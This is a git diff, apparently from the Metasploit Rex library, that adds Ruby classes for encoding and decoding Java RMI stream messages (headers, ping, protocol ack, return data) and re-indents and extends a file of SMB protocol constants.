Rex::Proto::Rmi::Model + + def self.attr_accessor(*vars) + @attributes ||= [] + @attributes.concat vars + super(*vars) + end + + # Retrieves the element class fields + # + # @return [Array] + def self.attributes + @attributes + end + + # Creates a Rex::Proto::Rmi::Model::Element with data from the IO. + # + # @param io [IO] the IO to read data from + # @return [Rex::Proto::Rmi::Model::Element] + def self.decode(io) + elem = self.new + elem.decode(io) + + elem + end + + def initialize(options = {}) + self.class.attributes.each do |attr| + if options.has_key?(attr) + m = (attr.to_s + '=').to_sym + self.send(m, options[attr]) + end + end + end + + # Retrieves the element instance fields + # + # @return [Array] + def attributes + self.class.attributes + end + + # Decodes the Rex::Proto::Rmi::Model::Element from the input. + # + # @raise [NoMethodError] + # @return [Rex::Proto::Rmi::Model::Element] + def decode(io) + self.class.attributes.each do |attr| + dec_method = ("decode_#{attr}").to_sym + decoded = self.send(dec_method, io) + assign_method = (attr.to_s + '=').to_sym + self.send(assign_method, decoded) + end + + self + end + + # Encodes the Rex::Proto::Rmi::Model::Element into an String. + # + # @raise [NoMethodError] + # @return [String] + def encode + encoded = '' + self.class.attributes.each do |attr| + m = ("encode_#{attr}").to_sym + encoded << self.send(m) if self.send(attr) + end + + encoded + end + + private + + # Reads a byte from an IO + # + # @param io [IO] the IO to read from + # @return [Fixnum] + # @raise [RuntimeError] if the byte can't be read from io + def read_byte(io) + raw = io.read(1) + raise ::RuntimeError, 'Failed to read byte' unless raw + + raw.unpack('C')[0] + end + + # Reads a two bytes short from an IO + # + # @param io [IO] the IO to read from + # @return [Fixnum] + # @raise [RuntimeError] if the short can't be read from io + def read_short(io) + raw = io.read(2) + + unless raw && raw.length == 2 + raise ::RuntimeError, 'Failed to read short' + end + + raw.unpack('n')[0] + end + + # Reads a four bytes int from an IO + # + # @param io [IO] the IO to read from + # @return [Fixnum] + # @raise [RuntimeError] if the int can't be read from io + def read_int(io) + raw = io.read(4) + + unless raw && raw.length == 4 + raise ::RuntimeError, 'Failed to read short' + end + + raw.unpack('N')[0] + end + + # Reads an string from an IO + # + # @param io [IO] the IO to read from + # @param length [Fixnum] the string length + # @return [String] + # @raise [RuntimeError] if the string can't be read from io + def read_string(io, length) + raw = io.read(length) + + unless raw && raw.length == length + raise ::RuntimeError, 'Failed to read string' + end + + raw + end + end + end + end + end +end \ No newline at end of file diff --git a/lib/rex/proto/rmi/model/output_header.rb b/lib/rex/proto/rmi/model/output_header.rb new file mode 100644 index 0000000000..dae28e89b6 --- /dev/null +++ b/lib/rex/proto/rmi/model/output_header.rb @@ -0,0 +1,86 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Rmi + module Model + # This class provides a representation of an RMI output stream header + class OutputHeader < Element + + # @!attribute signature + # @return [String] the Java RMI header signature + attr_accessor :signature + # @!attribute version + # @return [Fixnum] the Java RMI version + attr_accessor :version + # @!attribute protocol + # @return [Fixnum] the protocol where the the messages are wrapped within + attr_accessor :protocol + + private + + # Reads the signature from the IO + # + # @param io [IO] the IO to read from + # @return [String] + # @raise [RuntimeError] if fails to decode signature + def decode_signature(io) + signature = read_string(io, 4) + unless signature == SIGNATURE + raise ::RuntimeError, 'Failed to decode OutputHeader signature' + end + + signature + end + + # Reads the version from the IO + # + # @param io [IO] the IO to read from + # @return [Fixnum] + def decode_version(io) + version = read_short(io) + + version + end + + # Reads the protocol from the IO + # + # @param io [IO] the IO to read from + # @return [Fixnum] + # @raise [RuntimeError] if fails to decode the protocol + def decode_protocol(io) + valid_protocols = [STREAM_PROTOCOL, SINGLE_OP_PROTOCOL, MULTIPLEX_PROTOCOL] + protocol = read_byte(io) + + unless valid_protocols.include?(protocol) + raise ::RuntimeError, 'Failed to decode OutputHeader protocol' + end + + protocol + end + + # Encodes the signature field + # + # @return [String] + def encode_signature + signature + end + + # Encodes the version field + # + # @return [String] + def encode_version + [version].pack('n') + end + + # Encodes the protocol field + # + # @return [String] + def encode_protocol + [protocol].pack('C') + end + end + end + end + end +end \ No newline at end of file diff --git a/lib/rex/proto/rmi/model/ping.rb b/lib/rex/proto/rmi/model/ping.rb new file mode 100644 index 0000000000..c0406b3ae2 --- /dev/null +++ b/lib/rex/proto/rmi/model/ping.rb @@ -0,0 +1,41 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Rmi + module Model + # This class provides a representation of an RMI Ping stream. A Ping is a message for testing + # livereness of a remote virtual machine. + class Ping < Element + + # @!attribute stream_id + # @return [Fixnum] the input stream id + attr_accessor :stream_id + + private + + # Reads the stream id from the IO + # + # @param io [IO] the IO to read from + # @return [String] + # @raise [RuntimeError] if fails to decode stream id + def decode_stream_id(io) + stream_id = read_byte(io) + unless stream_id == PING_MESSAGE + raise ::RuntimeError, 'Failed to decode Ping stream id' + end + + stream_id + end + + # Encodes the stream_id field + # + # @return [String] + def encode_stream_id + [stream_id].pack('C') + end + end + end + end + end +end \ No newline at end of file diff --git a/lib/rex/proto/rmi/model/ping_ack.rb b/lib/rex/proto/rmi/model/ping_ack.rb new file mode 100644 index 0000000000..db0131b42a --- /dev/null +++ b/lib/rex/proto/rmi/model/ping_ack.rb @@ -0,0 +1,41 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Rmi + module Model + # This class provides a representation of an RMI PingAck stream. A PingAck is the acknowledgement + # for a Ping message. + class PingAck < Element + + # @!attribute stream_id + # @return [Fixnum] the input stream id + attr_accessor :stream_id + + private + + # Reads the stream id from the IO + # + # @param io [IO] the IO to read from + # @return [String] + # @raise [RuntimeError] if fails to decode stream id + def decode_stream_id(io) + stream_id = read_byte(io) + unless stream_id == PING_ACK + raise ::RuntimeError, 'Failed to decode PingAck stream id' + end + + stream_id + end + + # Encodes the stream_id field + # + # @return [String] + def encode_stream_id + [stream_id].pack('C') + end + end + end + end + end +end \ No newline at end of file diff --git a/lib/rex/proto/rmi/model/protocol_ack.rb b/lib/rex/proto/rmi/model/protocol_ack.rb new file mode 100644 index 0000000000..52a48506be --- /dev/null +++ b/lib/rex/proto/rmi/model/protocol_ack.rb @@ -0,0 +1,100 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Rmi + module Model + # This class provides a representation of an RMI protocol ack input stream + class ProtocolAck < Element + + # @!attribute stream_id + # @return [Fixnum] the input stream id + attr_accessor :stream_id + # @!attribute length + # @return [Fixnum] the end point address length + attr_accessor :length + # @!attribute address + # @return [String] the end point address + attr_accessor :address + # @!attribute port + # @return [Fixnum] the end point port + attr_accessor :port + + private + + # Reads the stream id from the IO + # + # @param io [IO] the IO to read from + # @return [String] + # @raise [RuntimeError] if fails to decode stream id + def decode_stream_id(io) + stream_id = read_byte(io) + unless stream_id == PROTOCOL_ACK + raise ::RuntimeError, 'Failed to decode ProtocolAck stream id' + end + + stream_id + end + + # Reads the end point identifier address length from the IO + # + # @param io [IO] the IO to read from + # @return [Fixnum] + def decode_length(io) + length = read_short(io) + + length + end + + # Reads the end point address from the IO + # + # @param io [IO] the IO to read from + # @return [String] + def decode_address(io) + version = read_string(io, length) + + version + end + + # Reads the end point port from the IO + # + # @param io [IO] the IO to read from + # @return [Fixnum] + def decode_port(io) + port = read_int(io) + + port + end + + # Encodes the stream_id field + # + # @return [String] + def encode_stream_id + [stream_id].pack('C') + end + + # Encodes the length field + # + # @return [String] + def encode_length + [length].pack('n') + end + + # Encodes the address field + # + # @return [String] + def encode_address + address + end + + # Encodes the port field + # + # @return [String] + def encode_port + [port].pack('N') + end + end + end + end + end +end \ No newline at end of file diff --git a/lib/rex/proto/rmi/model/return_data.rb b/lib/rex/proto/rmi/model/return_data.rb new file mode 100644 index 0000000000..fe99d23a6e --- /dev/null +++ b/lib/rex/proto/rmi/model/return_data.rb @@ -0,0 +1,60 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Rmi + module Model + # This class provides a representation of an RMI return data stream + class ReturnData < Element + + # @!attribute stream_id + # @return [Fixnum] the stream id + attr_accessor :stream_id + # @!attribute return value + # @return [Rex::Java::Serialization::Model::Stream] the serialized return data + attr_accessor :return_value + + private + + # Reads the stream id from the IO + # + # @param io [IO] the IO to read from + # @return [String] + # @raise [RuntimeError] if fails to decode the stream id + def decode_stream_id(io) + stream_id = read_byte(io) + unless stream_id == RETURN_DATA + raise ::RuntimeError, 'Failed to decode ReturnData stream id' + end + + stream_id + end + + # Reads and deserializes the return value from the IO + # + # @param io [IO] the IO to read from + # @return [Rex::Java::Serialization::Model::Stream] + def decode_return_value(io) + return_value = Rex::Java::Serialization::Model::Stream.decode(io) + + return_value + end + + # Encodes the stream_id field + # + # @return [String] + def encode_stream_id + [stream_id].pack('C') + end + + # Encodes the return_value field + # + # @return [String] + def encode_return_value + return_value.encode + end + end + end + end + end +end \ No newline at end of file diff --git a/lib/rex/proto/smb/constants.rb b/lib/rex/proto/smb/constants.rb index 8de82fd4dd..b58be1f50e 100644 --- a/lib/rex/proto/smb/constants.rb +++ b/lib/rex/proto/smb/constants.rb @@ -4,1058 +4,1399 @@ module Proto module SMB class Constants -require 'rex/struct2' + require 'rex/struct2' -# SMB Commands -SMB_COM_CREATE_DIRECTORY = 0x00 -SMB_COM_DELETE_DIRECTORY = 0x01 -SMB_COM_OPEN = 0x02 -SMB_COM_CREATE = 0x03 -SMB_COM_CLOSE = 0x04 -SMB_COM_FLUSH = 0x05 -SMB_COM_DELETE = 0x06 -SMB_COM_RENAME = 0x07 -SMB_COM_QUERY_INFORMATION = 0x08 -SMB_COM_SET_INFORMATION = 0x09 -SMB_COM_READ = 0x0a -SMB_COM_WRITE = 0x0b -SMB_COM_LOCK_BYTE_RANGE = 0x0c -SMB_COM_UNLOCK_BYTE_RANGE = 0x0d -SMB_COM_CREATE_TEMPORARY = 0x0e -SMB_COM_CREATE_NEW = 0x0f -SMB_COM_CHECK_DIRECTORY = 0x10 -SMB_COM_PROCESS_EXIT = 0x11 -SMB_COM_SEEK = 0x12 -SMB_COM_LOCK_AND_READ = 0x13 -SMB_COM_WRITE_AND_UNLOCK = 0x14 -SMB_COM_READ_RAW = 0x1a -SMB_COM_READ_MPX = 0x1b -SMB_COM_READ_MPX_SECONDARY = 0x1c -SMB_COM_WRITE_RAW = 0x1d -SMB_COM_WRITE_MPX = 0x1e -SMB_COM_WRITE_MPX_SECONDARY = 0x1f -SMB_COM_WRITE_COMPLETE = 0x20 -SMB_COM_QUERY_SERVER = 0x21 -SMB_COM_SET_INFORMATION2 = 0x22 -SMB_COM_QUERY_INFORMATION2 = 0x23 -SMB_COM_LOCKING_ANDX = 0x24 -SMB_COM_TRANSACTION = 0x25 -SMB_COM_TRANSACTION_SECONDARY = 0x26 -SMB_COM_IOCTL = 0x27 -SMB_COM_IOCTL_SECONDARY = 0x28 -SMB_COM_COPY = 0x29 -SMB_COM_MOVE = 0x2a -SMB_COM_ECHO = 0x2b -SMB_COM_WRITE_AND_CLOSE = 0x2c -SMB_COM_OPEN_ANDX = 0x2d -SMB_COM_READ_ANDX = 0x2e -SMB_COM_WRITE_ANDX = 0x2f -SMB_COM_NEW_FILE_SIZE = 0x30 -SMB_COM_CLOSE_AND_TREE_DISC = 0x31 -SMB_COM_TRANSACTION2 = 0x32 -SMB_COM_TRANSACTION2_SECONDARY = 0x33 -SMB_COM_FIND_CLOSE2 = 0x34 -SMB_COM_FIND_NOTIFY_CLOSE = 0x35 -SMB_COM_TREE_CONNECT = 0x70 -SMB_COM_TREE_DISCONNECT = 0x71 -SMB_COM_NEGOTIATE = 0x72 -SMB_COM_SESSION_SETUP_ANDX = 0x73 -SMB_COM_LOGOFF_ANDX = 0x74 -SMB_COM_TREE_CONNECT_ANDX = 0x75 -SMB_COM_QUERY_INFORMATION_DISK = 0x80 -SMB_COM_SEARCH = 0x81 -SMB_COM_FIND = 0x82 -SMB_COM_FIND_UNIQUE = 0x83 -SMB_COM_FIND_CLOSE = 0x84 -SMB_COM_NT_TRANSACT = 0xa0 -SMB_COM_NT_TRANSACT_SECONDARY = 0xa1 -SMB_COM_NT_CREATE_ANDX = 0xa2 -SMB_COM_NT_CANCEL = 0xa4 -SMB_COM_NT_RENAME = 0xa5 -SMB_COM_OPEN_PRINT_FILE = 0xc0 -SMB_COM_WRITE_PRINT_FILE = 0xc1 -SMB_COM_CLOSE_PRINT_FILE = 0xc2 -SMB_COM_GET_PRINT_QUEUE = 0xc3 -SMB_COM_READ_BULK = 0xd8 -SMB_COM_WRITE_BULK = 0xd9 -SMB_COM_NO_ANDX_COMMAND = 0xff + # SMB Commands + SMB_COM_CREATE_DIRECTORY = 0x00 + SMB_COM_DELETE_DIRECTORY = 0x01 + SMB_COM_OPEN = 0x02 + SMB_COM_CREATE = 0x03 + SMB_COM_CLOSE = 0x04 + SMB_COM_FLUSH = 0x05 + SMB_COM_DELETE = 0x06 + SMB_COM_RENAME = 0x07 + SMB_COM_QUERY_INFORMATION = 0x08 + SMB_COM_SET_INFORMATION = 0x09 + SMB_COM_READ = 0x0a + SMB_COM_WRITE = 0x0b + SMB_COM_LOCK_BYTE_RANGE = 0x0c + SMB_COM_UNLOCK_BYTE_RANGE = 0x0d + SMB_COM_CREATE_TEMPORARY = 0x0e + SMB_COM_CREATE_NEW = 0x0f + SMB_COM_CHECK_DIRECTORY = 0x10 + SMB_COM_PROCESS_EXIT = 0x11 + SMB_COM_SEEK = 0x12 + SMB_COM_LOCK_AND_READ = 0x13 + SMB_COM_WRITE_AND_UNLOCK = 0x14 + SMB_COM_READ_RAW = 0x1a + SMB_COM_READ_MPX = 0x1b + SMB_COM_READ_MPX_SECONDARY = 0x1c + SMB_COM_WRITE_RAW = 0x1d + SMB_COM_WRITE_MPX = 0x1e + SMB_COM_WRITE_MPX_SECONDARY = 0x1f + SMB_COM_WRITE_COMPLETE = 0x20 + SMB_COM_QUERY_SERVER = 0x21 + SMB_COM_SET_INFORMATION2 = 0x22 + SMB_COM_QUERY_INFORMATION2 = 0x23 + SMB_COM_LOCKING_ANDX = 0x24 + SMB_COM_TRANSACTION = 0x25 + SMB_COM_TRANSACTION_SECONDARY = 0x26 + SMB_COM_IOCTL = 0x27 + SMB_COM_IOCTL_SECONDARY = 0x28 + SMB_COM_COPY = 0x29 + SMB_COM_MOVE = 0x2a + SMB_COM_ECHO = 0x2b + SMB_COM_WRITE_AND_CLOSE = 0x2c + SMB_COM_OPEN_ANDX = 0x2d + SMB_COM_READ_ANDX = 0x2e + SMB_COM_WRITE_ANDX = 0x2f + SMB_COM_NEW_FILE_SIZE = 0x30 + SMB_COM_CLOSE_AND_TREE_DISC = 0x31 + SMB_COM_TRANSACTION2 = 0x32 + SMB_COM_TRANSACTION2_SECONDARY = 0x33 + SMB_COM_FIND_CLOSE2 = 0x34 + SMB_COM_FIND_NOTIFY_CLOSE = 0x35 + SMB_COM_TREE_CONNECT = 0x70 + SMB_COM_TREE_DISCONNECT = 0x71 + SMB_COM_NEGOTIATE = 0x72 + SMB_COM_SESSION_SETUP_ANDX = 0x73 + SMB_COM_LOGOFF_ANDX = 0x74 + SMB_COM_TREE_CONNECT_ANDX = 0x75 + SMB_COM_QUERY_INFORMATION_DISK = 0x80 + SMB_COM_SEARCH = 0x81 + SMB_COM_FIND = 0x82 + SMB_COM_FIND_UNIQUE = 0x83 + SMB_COM_FIND_CLOSE = 0x84 + SMB_COM_NT_TRANSACT = 0xa0 + SMB_COM_NT_TRANSACT_SECONDARY = 0xa1 + SMB_COM_NT_CREATE_ANDX = 0xa2 + SMB_COM_NT_CANCEL = 0xa4 + SMB_COM_NT_RENAME = 0xa5 + SMB_COM_OPEN_PRINT_FILE = 0xc0 + SMB_COM_WRITE_PRINT_FILE = 0xc1 + SMB_COM_CLOSE_PRINT_FILE = 0xc2 + SMB_COM_GET_PRINT_QUEUE = 0xc3 + SMB_COM_READ_BULK = 0xd8 + SMB_COM_WRITE_BULK = 0xd9 + SMB_COM_NO_ANDX_COMMAND = 0xff -# SMB Version 2 Commands -SMB2_OP_NEGPROT = 0x00 -SMB2_OP_SESSSETUP = 0x01 -SMB2_OP_LOGOFF = 0x02 -SMB2_OP_TCON = 0x03 -SMB2_OP_TDIS = 0x04 -SMB2_OP_CREATE = 0x05 -SMB2_OP_CLOSE = 0x06 -SMB2_OP_FLUSH = 0x07 -SMB2_OP_READ = 0x08 -SMB2_OP_WRITE = 0x09 -SMB2_OP_LOCK = 0x0a -SMB2_OP_IOCTL = 0x0b -SMB2_OP_CANCEL = 0x0c -SMB2_OP_KEEPALIVE = 0x0d -SMB2_OP_FIND = 0x0e -SMB2_OP_NOTIFY = 0x0f -SMB2_OP_GETINFO = 0x10 -SMB2_OP_SETINFO = 0x11 -SMB2_OP_BREAK = 0x12 + # SMB Version 2 Commands + SMB2_OP_NEGPROT = 0x00 + SMB2_OP_SESSSETUP = 0x01 + SMB2_OP_LOGOFF = 0x02 + SMB2_OP_TCON = 0x03 + SMB2_OP_TDIS = 0x04 + SMB2_OP_CREATE = 0x05 + SMB2_OP_CLOSE = 0x06 + SMB2_OP_FLUSH = 0x07 + SMB2_OP_READ = 0x08 + SMB2_OP_WRITE = 0x09 + SMB2_OP_LOCK = 0x0a + SMB2_OP_IOCTL = 0x0b + SMB2_OP_CANCEL = 0x0c + SMB2_OP_KEEPALIVE = 0x0d + SMB2_OP_FIND = 0x0e + SMB2_OP_NOTIFY = 0x0f + SMB2_OP_GETINFO = 0x10 + SMB2_OP_SETINFO = 0x11 + SMB2_OP_BREAK = 0x12 -# SMB_COM_NT_TRANSACT Subcommands -NT_TRANSACT_CREATE = 1 # File open/create -NT_TRANSACT_IOCTL = 2 # Device IOCTL -NT_TRANSACT_SET_SECURITY_DESC = 3 # Set security descriptor -NT_TRANSACT_NOTIFY_CHANGE = 4 # Start directory watch -NT_TRANSACT_RENAME = 5 # Reserved (Handle-based) -NT_TRANSACT_QUERY_SECURITY_DESC = 6 # Retrieve security -NT_TRANSACT_GET_USER_QUOTA = 7 # Get quota -NT_TRANSACT_SET_USER_QUOTA = 8 # Set quota + # SMB_COM_NT_TRANSACT Subcommands + NT_TRANSACT_CREATE = 1 # File open/create + NT_TRANSACT_IOCTL = 2 # Device IOCTL + NT_TRANSACT_SET_SECURITY_DESC = 3 # Set security descriptor + NT_TRANSACT_NOTIFY_CHANGE = 4 # Start directory watch + NT_TRANSACT_RENAME = 5 # Reserved (Handle-based) + NT_TRANSACT_QUERY_SECURITY_DESC = 6 # Retrieve security + NT_TRANSACT_GET_USER_QUOTA = 7 # Get quota + NT_TRANSACT_SET_USER_QUOTA = 8 # Set quota -# Open Modes -OPEN_MODE_CREAT = 0x10 # Create the file if file does not exists. Otherwise, operation fails. -OPEN_MODE_EXCL = 0x00 # When used with SMB_O_CREAT, operation fails if file exists. Cannot be used with SMB_O_OPEN. -OPEN_MODE_OPEN = 0x01 # Open the file if the file exists -OPEN_MODE_TRUNC = 0x02 # Truncate the file if the file exists + # NT Flags bits - cifs6.txt section 3.1.1 + FLAGS_REQ_RES = 0x80 + FLAGS_NOTIFY = 0x40 + FLAGS_OP_LOCKS = 0x20 + FLAGS_PATH_NORMALIZED = 0x10 + FLAGS_CASE_SENSITIVE = 0x8 + FLAGS_RESERVED = 0x4 + FLAGS_POSTED = 0x2 + FLAGS_LOCK_SUPPORT = 0x1 -# Shared Access -OPEN_SHARE_COMPAT = 0x00 -OPEN_SHARE_DENY_EXCL = 0x10 -OPEN_SHARE_DENY_WRITE = 0x20 -OPEN_SHARE_DENY_READEXEC = 0x30 -OPEN_SHARE_DENY_NONE = 0x40 + # NT Flags2 bits - cifs6.txt section 3.1.2 + FLAGS2_LONG_PATH_COMPONENTS = 0x0001 + FLAGS2_EXTENDED_ATTRIBUTES = 0x0002 + FLAGS2_SMB_SECURITY_SIGNATURES = 0x0004 + FLAGS2_SMB_SECURITY_SIGNATURES_REQUIRED = 0x0010 + FLAGS2_IS_LONG_NAME = 0x0040 + FLAGS2_EXTENDED_SECURITY = 0x0800 + FLAGS2_DFS_PATHNAMES = 0x1000 + FLAGS2_READ_PERMIT_EXECUTE = 0x2000 + FLAGS2_32_BIT_ERROR_CODES = 0x4000 + FLAGS2_UNICODE_STRINGS = 0x8000 + FLAGS2_WIN2K_SIGNATURE = 0xC852 + # SMB Negotiate Security Modes + NEG_SECURITY_SHARE = 1 + NEG_SECURITY_PASSWORD = 2 -# File Access -OPEN_ACCESS_READ = 0x00 -OPEN_ACCESS_WRITE = 0x01 -OPEN_ACCESS_READWRITE = 0x02 -OPEN_ACCESS_EXEC = 0x03 + # SMB Setup Actions + SMB_SETUP_GUEST = 1 + SMB_SETUP_USE_LANMAN_KEY = 2 -# Create Disposition -CREATE_ACCESS_SUPERSEDE = 0x00 # Replace any previously existing file -CREATE_ACCESS_EXIST = 0x01 # Open existing file and fail if it does not exist -CREATE_ACCESS_CREATE = 0x02 # Create the file, fail if it already exists -CREATE_ACCESS_OPENCREATE = 0x03 # Open existing file or create it if it does not exist -CREATE_ACCESS_OVEREXIST = 0x04 # Overwrite existing file and fail if it does not exist -CREATE_ACCESS_OVERCREATE = 0x05 # Overwrite existing file or create it if it does not exist + # SMB Negotiate Capabilities + # The server supports SMB_COM_READ_RAW and SMB_COM_WRITE_RAW + CAP_RAW_MODE = 0x0001 + # The server supports SMB_COM_READ_MPX and SMB_COM_WRITE_MPX + CAP_MPX_MODE = 0x0002 + # The server supports Unicode strings + CAP_UNICODE = 0x0004 + # The server supports large files with 64 bit offsets + CAP_LARGE_FILES = 0x0008 + # The server supports the SMBs particular to the NT LM 0.12 dialect + CAP_NT_SMBS = 0x0010 + # The sever supports remote API requests via RPC + CAP_RPC_REMOTE_APIS = 0x0020 + # The server can respond with 32 bit status codes in Status.Status + CAP_STATUS32 = 0x0040 + # The server supports level 2 oplocks + CAP_LEVEL_II_OPLOCKS = 0x0080 + # The server supports the SMB_COM_LOCK_AND_READ SMB + CAP_LOCK_AND_READ = 0x0100 + CAP_NT_FIND = 0x0200 + # This server is DFS aware + CAP_DFS = 0x1000 + CAP_PASSTHRU = 0x2000 + CAP_LARGE_READX = 0x4000 + CAP_LARGE_WRITEX = 0x8000 + CAP_UNIX_EXTENSIONS = 0x800000 + # Open Modes + OPEN_MODE_CREAT = 0x10 # Create the file if file does not exists. Otherwise, operation fails. + OPEN_MODE_EXCL = 0x00 # When used with SMB_O_CREAT, operation fails if file exists. Cannot be used with SMB_O_OPEN. + OPEN_MODE_OPEN = 0x01 # Open the file if the file exists + OPEN_MODE_TRUNC = 0x02 # Truncate the file if the file exists -# Wildcard NetBIOS name -NETBIOS_REDIR = 'CACACACACACACACACACACACACACACAAA' + # Shared Access + OPEN_SHARE_COMPAT = 0x00 + OPEN_SHARE_DENY_EXCL = 0x10 + OPEN_SHARE_DENY_WRITE = 0x20 + OPEN_SHARE_DENY_READEXEC = 0x30 + OPEN_SHARE_DENY_NONE = 0x40 + + # OpLock Levels + NO_OPLOCK = 0x00 + EXCLUSIVE_OPLOCK = 0x01 + BATCH_OPLOCK = 0x02 + LEVEL_II_OPLOCK = 0x03 + + # Dispositions, action to take if the file already exists or if the file is a new file and does not already exist + FILE_SUPERSEDE = 0x00000000 + FILE_OPEN = 0x00000001 + FILE_CREATE = 0x00000002 + FILE_OPEN_IF = 0x00000003 + FILE_OVERWRITE = 0x00000004 + FILE_OVERWRITE_IF = 0x00000005 + + # File Access + OPEN_ACCESS_READ = 0x00 + OPEN_ACCESS_WRITE = 0x01 + OPEN_ACCESS_READWRITE = 0x02 + OPEN_ACCESS_EXEC = 0x03 + + # Create Disposition + CREATE_ACCESS_SUPERSEDE = 0x00 # Replace any previously existing file + CREATE_ACCESS_EXIST = 0x01 # Open existing file and fail if it does not exist + CREATE_ACCESS_CREATE = 0x02 # Create the file, fail if it already exists + CREATE_ACCESS_OPENCREATE = 0x03 # Open existing file or create it if it does not exist + CREATE_ACCESS_OVEREXIST = 0x04 # Overwrite existing file and fail if it does not exist + CREATE_ACCESS_OVERCREATE = 0x05 # Overwrite existing file or create it if it does not exist + + # Access Rights + SMB_READ_ACCESS = 1 + SMB_WRITE_ACCESS = 2 + SMB_APPEND_ACCESS = 4 + SMB_READ_EA_ACCESS = 8 + SMB_WRITE_EA_ACCESS = 0x10 + SMB_EXECUTE_ACCESS = 0x20 + SMB_DELETE_CHILD_ACCESS = 0x40 + SMB_READ_ATTRIBUTES_ACCESS = 0x80 + SMB_WRITE_ATTRIBUTES_ACCESS = 0x100 + SMB_DELETE_ACCESS = 0x10000 + SMB_READ_CONTROL_ACCESS = 0x20000 + SMB_WRITE_DAC_ACCESS = 0x40000 + SMB_WRITE_OWNER_ACCESS = 0x80000 + SMB_SYNC_ACCESS = 0x100000 + + # Wildcard NetBIOS name + NETBIOS_REDIR = 'CACACACACACACACACACACACACACACAAA' - # 0 = open2 - # 1 = find_first - # 2 = find_next - # 3 = query_fs_info - # 4 = set_fs_quota - # 5 = query_path_info - # 6 = set_path_info - # 7 = query_file_info - # 8 = set_file_info - # 9 = fsctl - # 10 = ioctl2 - # 11 = find_notify_first - # 12 = find_notify_next - # 13 = create_directory - # 14 = session_setup + # 0 = open2 + # 1 = find_first + # 2 = find_next + # 3 = query_fs_info + # 4 = set_fs_quota + # 5 = query_path_info + # 6 = set_path_info + # 7 = query_file_info + # 8 = set_file_info + # 9 = fsctl + # 10 = ioctl2 + # 11 = find_notify_first + # 12 = find_notify_next + # 13 = create_directory + # 14 = session_setup + + # SMB_COM_TRANSACTION2 SubCommands + TRANS2_OPEN2 = 0 + TRANS2_FIND_FIRST2 = 1 + TRANS2_FIND_NEXT2 = 2 + TRANS2_QUERY_FS_INFO = 3 + TRANS2_SET_FS_INFO = 4 + TRANS2_QUERY_PATH_INFO = 5 + TRANS2_SET_PATH_INFO = 6 + TRANS2_QUERY_FILE_INFO = 7 + TRANS2_SET_FILE_INFO = 8 + TRANS2_FSCTL = 9 + TRANS2_IOCTL2 = 10 + TRANS2_FIND_NOTIFY_FIRST = 11 + TRANS2_FIND_NOTIFY_NEXT = 12 + TRANS2_CREATE_DIRECTORY = 13 + TRANS2_SESSION_SETUP = 14 + TRANS2_GET_DFS_REFERRAL = 16 + TRANS2_REPORT_DFS_INCONSISTENCY = 17 + + # SMB_COM_TRANSACTION2 QUERY_FS_INFO information levels + SMB_INFO_ALLOCATION = 1 + SMB_INFO_VOLUME = 2 + SMB_QUERY_FS_VOLUME_INFO = 0x102 + SMB_QUERY_FS_SIZE_INFO = 0x103 + SMB_QUERY_FS_DEVICE_INFO = 0x104 + SMB_QUERY_FS_ATTRIBUTE_INFO = 0x105 + + # SMB_COM_TRANSACTION2 QUERY_PATH_INFO information levels + SMB_INFO_STANDARD = 1 + SMB_INFO_QUERY_EA_SIZE = 2 + SMB_INFO_QUERY_EAS_FROM_LIST = 3 + SMB_INFO_QUERY_ALL_EAS = 4 + SMB_INFO_IS_NAME_VALID = 6 + SMB_QUERY_FILE_BASIC_INFO = 0x101 + SMB_QUERY_FILE_STANDARD_INFO = 0x102 + SMB_QUERY_FILE_EA_INFO = 0x103 + SMB_QUERY_FILE_NAME_INFO = 0x104 + SMB_QUERY_FILE_ALL_INFO = 0x107 + SMB_QUERY_FILE_ALT_NAME_INFO = 0x108 + SMB_QUERY_FILE_STREAM_INFO = 0x109 + SMB_QUERY_FILE_COMPRESSION_INFO = 0x10B + SMB_QUERY_FILE_UNIX_BASIC = 0x200 + SMB_QUERY_FILE_UNIX_LINK = 0x201 + SMB_QUERY_FILE_BASIC_INFO_ALIAS = 0x3EC # alias for 0x101 + SMB_SET_FILE_BASIC_INFO_ALIAS = 0x3EC # alias for 0x101 + SMB_QUERY_FILE_STANDARD_INFO_ALIAS = 0x3ED # alias for 0x102 + SMB_QUERY_FILE_INTERNAL_INFO_ALIAS = 0x3EE # alias for 0x103 + SMB_QUERY_FILE_EA_INFO_ALIAS = 0x3EF # alias for 0x103 + SMB_QUERY_FILE_NAME_INFO_ALIAS = 0x3F1 # alias for 0x104 + SMB_QUERY_FILE_NETWORK_OPEN_INFO = 0x40A + SMB_INFO_PASSTHROUGH = 0x1000 + + # SMB_COM_TRANSACTION2 MAX DATA COUNT information levels + SMB_QUERY_BASIC_MDC = 0x0028 + SMB_QUERY_STANDARD_MDC1 = 0x0018 + SMB_QUERY_STANDARD_MDC2 = 0x0102 + SMB_QUERY_FILE_INTERNAL_INFO_MDC = 0x0008 + SMB_QUERY_FILE_NETWORK_INFO_MDC = 0x0038 + + # SMB_COM_TRANS2 FIND_FIRST information levels + SMB_FIND_FILE_DIRECTORY_INFO = 0x101 + SMB_FIND_FILE_FULL_DIRECTORY_INFO = 0x102 + SMB_FIND_FILE_NAMES_INFO = 0x103 + SMB_FIND_FILE_BOTH_DIRECTORY_INFO = 0x104 + SMB_FIND_ID_FULL_DIRECTORY_INFO = 0x105 + SMB_FIND_ID_BOTH_DIRECTORY_INFO = 0x106 + + # Device Types + FILE_DEVICE_BEEP = 0x00000001 + FILE_DEVICE_CD_ROM = 0x00000002 + FILE_DEVICE_CD_ROM_FILE_SYSTEM = 0x00000003 + FILE_DEVICE_CONTROLLER = 0x00000004 + FILE_DEVICE_DATALINK = 0x00000005 + FILE_DEVICE_DFS = 0x00000006 + FILE_DEVICE_DISK = 0x00000007 + FILE_DEVICE_DISK_FILE_SYSTEM = 0x00000008 + FILE_DEVICE_FILE_SYSTEM = 0x00000009 + FILE_DEVICE_INPORT_PORT = 0x0000000A + FILE_DEVICE_KEYBOARD = 0x0000000B + FILE_DEVICE_MAILSLOT = 0x0000000C + FILE_DEVICE_MIDI_IN = 0x0000000D + FILE_DEVICE_MIDI_OUT = 0x0000000E + FILE_DEVICE_MOUSE = 0x0000000F + FILE_DEVICE_MULTI_UNC_PROVIDER = 0x00000010 + FILE_DEVICE_NAMED_PIPE = 0x00000011 + FILE_DEVICE_NETWORK = 0x00000012 + 